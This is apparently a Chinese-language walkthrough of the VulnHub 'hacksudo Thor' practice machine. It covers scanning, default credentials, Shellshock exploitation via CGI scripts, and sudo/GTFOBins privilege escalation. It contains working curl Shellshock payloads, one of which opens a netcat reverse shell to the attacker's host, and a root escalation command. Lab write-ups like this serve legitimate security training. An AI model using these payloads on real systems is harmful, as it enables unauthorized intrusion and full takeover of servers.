Thor
一、靶机信息
下载地址:
https://download.vulnhub.com/hacksudo/hacksudo---Thor.zip
目标:
- 取得root权限和Flag
涉及攻击方法
- 主机发现
- 端口扫描
- 目录扫描
- 开源代码泄露
- 默认账号密码
- SQL注入
- 破壳漏洞
- GTFOBins提权
二、主机发现
常规思路arp-scan也可以用nmap
arp-scan -l |
发现靶机ip为:10.0.2.13
三、端口扫描
先对常规端口进行扫描
nmap 10.0.2.13 |
发现21,22,80端口开放
进一步获取相关信息
nmap -p 80,22,21 -sV -T4 10.0.2.13 |
直接访问80端口,查看web服务,发现是个登录页面,随便试了几个弱口令发现没登录成功
四、目录扫描
直接对网站进行目录扫描
dirsearch -u http://10.0.2.13 |
发现另外一个登录页面还有一个readme.md
访问readme看看有没有有用信息
http://10.0.2.13/README.md |
访问目录下载readme文件后,发现项目GitHub地址,访问查看
五、开源代码泄露
翻译过来一眼发现默认账号和密码,
admin
password123
在默认登录页面登录失败,尝试目录扫描出的另一个登录页面,登录成功
http://10.0.2.13/admin_home.php |
发现是个管理员账号,可以看的其他用户的账号和密码。
六、破壳漏洞利用
6.1、破壳漏洞原理:
破壳漏洞源于Bash在处理环境变量时的一个缺陷。环境变量通常用于操作系统向运行中的程序传递配置信息。Bash错误地执行了环境变量值中的代码,这些代码本应在特定条件下执行。攻击者可以利用此漏洞,通过精心构造的环境变量来迫使Bash执行附带的恶意命令。
这个漏洞的严重性在于它允许未经授权的远程执行代码,攻击者无需高级权限即可利用这个漏洞控制系统。
6.2、漏洞发现
由于登录进入后台后,获取不到更多信息,继续查看目录扫描发现的其他页面
以后获取更多的信息,查看news.php的源代码
view-source:http://10.0.2.13/news.php |
发现cgi-bin关键词,在目录扫描中也发现这个目录,但是状态码时403
cgi-bin漏洞介绍
https://blog.csdn.net/xiaoshan812613234/article/details/42147955
6.3、目录扫描
指定后缀名为cgi和sh
dirsearch -u http://10.0.2.13/cgi-bin/ -f -e cgi,sh |
发现存在两个文件
6.4、nmap破壳漏洞检测
发现两个文件都存在破壳漏洞
nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/backup.cgi,cmd=ls 10.0.2.13 |
--script http-shellshock
:这个选项用于指定要运行的 Nmap 脚本。http-shellshock
脚本用于检测和利用 Shellshock 漏洞,尤其是通过 HTTP 请求注入恶意命令。
--script-args uri=/cgi-bin/backup.cgi,cmd=ls
:这个选项用于为脚本提供参数。uri=/cgi-bin/backup.cgi
指定要访问的 CGI 脚本的路径,cmd=ls
指定要在目标服务器上执行的命令。在这个例子中,命令是ls
,用于列出目录内容。
nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin.shell.sh,cmd=ls 10.0.2.13 |
6.5、漏洞利用
curl -H "user-agent: () { :; }; echo;echo;/bin/bash -c 'id'" http://10.0.2.13/cgi-bin/backup.cgi |
网上搜索cve-2014-6271,更改payload
发现执行成功
查看是否存在nc
curl -H "user-agent: () { :; }; echo;echo;/bin/bash -c 'which nc'" http://10.0.2.13/cgi-bin/backup.cgi |
存在nc,kali监听,反弹shell,建立命令窗口
curl -H "user-agent: () { :; }; echo;echo;/bin/bash -c 'nc -e /bin/bash 10.0.2.4 7777'" http://10.0.2.13/cgi-bin/backup.cgi |
成功建立连接
执行python将窗口升级为/bin/bash模式
python3 -c 'import pty;pty.spawn("/bin/bash")' |
七、GTFObins提权
sudo -l |
sudo -l 是一条用于列出当前用户在系统上可执行的 sudo 命令的命令
发现/home/thor/./hammer.sh这个脚本不需要密码就能以thor权限执行
sudo -u thor /home/thor/./hammer.sh |
sudo -u 指定用户执行,这里指定的是thor
发现第二次输入的命令能够成功执行
直接输入bash,进入bash页面
发现执行成功,为了方便操作再次切换到/bin/bash模式
仍然执行sudo -l
发现 可以以root的命令执行cat和service命令
网站查询是否有利用的payload
网站使用方式
直接输入可以利用的命令
打开网页,直接查看payload
sudo service ../../bin/sh |
执行命令提权成功。
八、总结
打靶思路:
主机发现 ==> 端口扫描 ==> 目录扫描 ==> 开源代码信息泄露 ==> 源代码审计 ==> 破壳漏洞 ==> GTFObins提权
参考文章: